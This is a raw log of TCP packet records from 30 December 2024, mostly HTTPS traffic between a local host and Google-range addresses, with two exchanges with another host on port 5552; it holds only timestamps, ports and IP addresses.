Dec 30, 2024 11:36:48.097516060 CET	443	50038	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.174125910 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.174191952 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.175215006 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.175262928 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.175321102 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.179493904 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.179514885 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.179558992 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.179590940 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.180399895 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.180430889 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.180686951 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.180686951 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.180722952 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.208780050 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.208949089 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.209233999 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.209281921 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.209395885 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.209568024 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.218054056 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.218055010 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.218086958 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.218146086 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.219681978 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.219723940 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.219861984 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.220532894 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.220557928 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.252427101 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.252470016 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.253082037 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.253129005 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.253185987 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.253469944 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.253493071 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.254698992 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.254724026 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.254899025 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.255846977 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.255856991 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.784396887 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.784616947 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.785057068 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.785068035 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.785300970 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.785310030 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.820220947 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.820488930 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.820961952 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.820969105 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.821670055 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:48.821681976 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:48.851634026 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.851707935 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.852139950 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.852148056 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.852319002 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.852324963 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.874481916 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.874541998 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.874955893 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.874962091 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.875112057 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.875116110 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.157182932 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.157263994 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.157274008 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.157334089 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.157491922 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.157538891 CET	443	50046	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.157675028 CET	50046	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.158231020 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.158261061 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.158531904 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.159890890 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.159902096 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.196537018 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.196686983 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.196706057 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.196777105 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.196819067 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.196851015 CET	443	50047	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.196908951 CET	50047	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.197501898 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.197532892 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.197666883 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.197875977 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.197895050 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.308410883 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.308469057 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.308585882 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.308623075 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.308661938 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.308784008 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.308835030 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.308876991 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.309238911 CET	50049	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.309254885 CET	443	50049	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.309747934 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.309783936 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.309839010 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.310241938 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.310252905 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.314888000 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.314941883 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.314992905 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.315016031 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.315059900 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.315066099 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.315109015 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.315752983 CET	50048	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.315762997 CET	443	50048	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.316678047 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.316721916 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.318660975 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.319113970 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.319129944 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.787137985 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.787208080 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.787867069 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.787906885 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.791589022 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.791594982 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.791832924 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.792171955 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.792617083 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.800769091 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.800924063 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.801503897 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.801664114 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.803245068 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.803258896 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.803487062 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.803675890 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.804008007 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:49.839330912 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.851326942 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:49.912359953 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.912497997 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.919759035 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.919765949 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.922549963 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.922559023 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.935766935 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.935825109 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.936239004 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.936252117 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:49.936525106 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:49.936531067 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.131979942 CET	5552	49758	172.111.138.100	192.168.2.4
Dec 30, 2024 11:36:50.172559977 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.173302889 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.173496962 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.174081087 CET	49758	5552	192.168.2.4	172.111.138.100
Dec 30, 2024 11:36:50.175488949 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.175513983 CET	443	50054	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.175559044 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.175581932 CET	50054	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.176073074 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.176107883 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.176300049 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.176465034 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.176475048 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.178509951 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.179205894 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.179290056 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.199115992 CET	50055	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.199136019 CET	443	50055	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.199630976 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.199671030 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.199729919 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.200009108 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.200020075 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.313560009 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.313613892 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.313723087 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.313791037 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.313791037 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.313791037 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.314465046 CET	50056	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.314483881 CET	443	50056	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.315121889 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.315169096 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.315234900 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.315448046 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.315460920 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.475775957 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.475826979 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.475866079 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.475866079 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.475882053 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.475930929 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.476077080 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.482896090 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.482942104 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.483686924 CET	50057	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.483704090 CET	443	50057	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.483794928 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.484251022 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:50.484262943 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.803024054 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.803924084 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:50.804544926 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.808049917 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:50.942883015 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:50.944499969 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.033524990 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.033549070 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.033823967 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.033830881 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.034131050 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.034145117 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.034318924 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.034322977 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.099457979 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.099483967 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.099666119 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.099674940 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.103816032 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.103934050 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.105613947 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.105624914 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.105844975 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.105849981 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.318813086 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.318876982 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.319191933 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.319232941 CET	443	50067	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.319284916 CET	50067	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.319911957 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.319957972 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.320178032 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.320523024 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.320533037 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.333205938 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.333297014 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.334084034 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.334115982 CET	443	50066	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.334172964 CET	50066	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.341785908 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.341840029 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.342402935 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.342930079 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.342947006 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.455796957 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.455851078 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.455883980 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.455910921 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.455926895 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.455960989 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.456016064 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.462913036 CET	50070	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.462937117 CET	443	50070	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.467736959 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.467781067 CET	443	50082	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.467943907 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.468529940 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.468534946 CET	443	50082	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605096102 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605144978 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605164051 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.605189085 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605207920 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.605227947 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.605564117 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605609894 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.605627060 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.605669975 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.606005907 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.606021881 CET	443	50071	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.606034994 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.606060982 CET	50071	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.606722116 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.606755018 CET	443	50083	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.606812000 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.607064962 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:51.607074976 CET	443	50083	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:51.921909094 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.921977997 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.922668934 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.922715902 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.926060915 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.926075935 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.926390886 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.926801920 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.926887035 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.941754103 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.941828012 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.942553043 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.942621946 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.944338083 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.944351912 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.944650888 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.944695950 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.945111990 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:51.967339993 CET	443	50079	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:51.991332054 CET	443	50081	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.075965881 CET	443	50082	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.076067924 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.076541901 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.076551914 CET	443	50082	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.078229904 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.078243971 CET	443	50082	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.206942081 CET	443	50083	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.207039118 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.207532883 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.207540989 CET	443	50083	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.207580090 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.207585096 CET	443	50083	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:52.268023968 CET	50079	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.268058062 CET	50081	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.268210888 CET	50082	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.268264055 CET	50083	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:52.271044970 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.271100998 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.271176100 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.272103071 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.272118092 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.272825003 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.272871017 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.273345947 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.274043083 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.274061918 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.880544901 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.880814075 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.881171942 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.881184101 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.881359100 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.881364107 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.894092083 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.894274950 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.894820929 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.894845963 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:52.895009995 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:52.895018101 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.262813091 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.262994051 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.263020992 CET	443	50089	142.250.186.142	192.168.2.4
